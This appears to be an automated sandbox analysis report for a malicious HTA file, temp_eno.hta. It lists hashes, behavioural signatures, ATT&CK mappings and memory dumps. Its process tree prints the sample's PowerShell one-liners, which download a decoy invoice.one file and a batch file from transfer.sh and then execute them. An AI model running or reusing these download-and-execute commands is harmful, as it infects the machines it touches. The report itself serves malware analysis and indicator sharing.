28deee1dd68bfd6a75ca2794fcae30fa3d349afa4e4bbf5bf8382eefc10a81cf

General

Target

temp_eno.hta
Size

1KB
MD5

2552f7a77b1834ebc2c62e2f9432e54c
SHA1

eedee537ce4bcc252358a1e1a8687b2e50ed19f8
SHA256

28deee1dd68bfd6a75ca2794fcae30fa3d349afa4e4bbf5bf8382eefc10a81cf
SHA512

5218336d8fb62e68b44a2469ea3cb24b5c94168cc16e9619f6929f75108c36ecabafc8bc6eac1ea4391a88f493543bc8e301c5f74ee30eda135aaed1caecb1fb

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1180	584	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	468	584	cmd.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1488 powershell.exe
536 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1488 powershell.exe
Token: SeDebugPrivilege 536 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1488	powershell.exe
536	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	536	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 1180 wrote to memory of 536	1180	cmd.exe	powershell.exe
PID 1180 wrote to memory of 536	1180	cmd.exe	powershell.exe
PID 1180 wrote to memory of 536	1180	cmd.exe	powershell.exe
PID 468 wrote to memory of 1488	468	cmd.exe	powershell.exe
PID 468 wrote to memory of 1488	468	cmd.exe	powershell.exe
PID 468 wrote to memory of 1488	468	cmd.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\temp_eno.hta"
1⤵
- Modifies Internet Explorer settings
PID:1772

C:\Windows\system32\cmd.exe
cmd /c powershell Invoke-WebRequest -Uri https://www.onenotegem.com/uploads/soft/one-templates/four-quadrant.one -OutFile $env:tmp\invoice.one; Start-Process -Filepath $env:tmp\invoice.one
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest -Uri https://www.onenotegem.com/uploads/soft/one-templates/four-quadrant.one -OutFile $env:tmp\invoice.one; Start-Process -Filepath $env:tmp\invoice.one
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:536

C:\Windows\system32\cmd.exe
cmd /c powershell Invoke-WebRequest -Uri https://transfer.sh/get/Ec8pRH/as11.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:468

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest -Uri https://transfer.sh/get/Ec8pRH/as11.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1488

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/536-64-0x00000000028A4000-0x00000000028A7000-memory.dmp

Filesize
12KB

Download
memory/536-55-0x0000000000000000-mapping.dmp

Download
memory/536-67-0x00000000028AB000-0x00000000028CA000-memory.dmp

Filesize
124KB

Download
memory/536-56-0x000007FEFB941000-0x000007FEFB943000-memory.dmp

Filesize
8KB

Download
memory/536-66-0x00000000028A4000-0x00000000028A7000-memory.dmp

Filesize
12KB

Download
memory/536-60-0x000007FEF3B40000-0x000007FEF4563000-memory.dmp

Filesize
10.1MB

Download
memory/536-62-0x000007FEEEC90000-0x000007FEEF7ED000-memory.dmp

Filesize
11.4MB

Download
memory/1488-59-0x000007FEF3B40000-0x000007FEF4563000-memory.dmp

Filesize
10.1MB

Download
memory/1488-61-0x000007FEEEC90000-0x000007FEEF7ED000-memory.dmp

Filesize
11.4MB

Download
memory/1488-63-0x00000000026D4000-0x00000000026D7000-memory.dmp

Filesize
12KB

Download
memory/1488-65-0x000000001B7B0000-0x000000001BAAF000-memory.dmp

Filesize
3.0MB

Download
memory/1488-57-0x0000000000000000-mapping.dmp

Download
memory/1488-68-0x00000000026DB000-0x00000000026FA000-memory.dmp

Filesize
124KB

Download
memory/1488-69-0x00000000026D4000-0x00000000026D7000-memory.dmp

Filesize
12KB

Download
memory/1488-70-0x00000000026DB000-0x00000000026FA000-memory.dmp

Filesize
124KB

Download
memory/1772-54-0x00000000757E1000-0x00000000757E3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads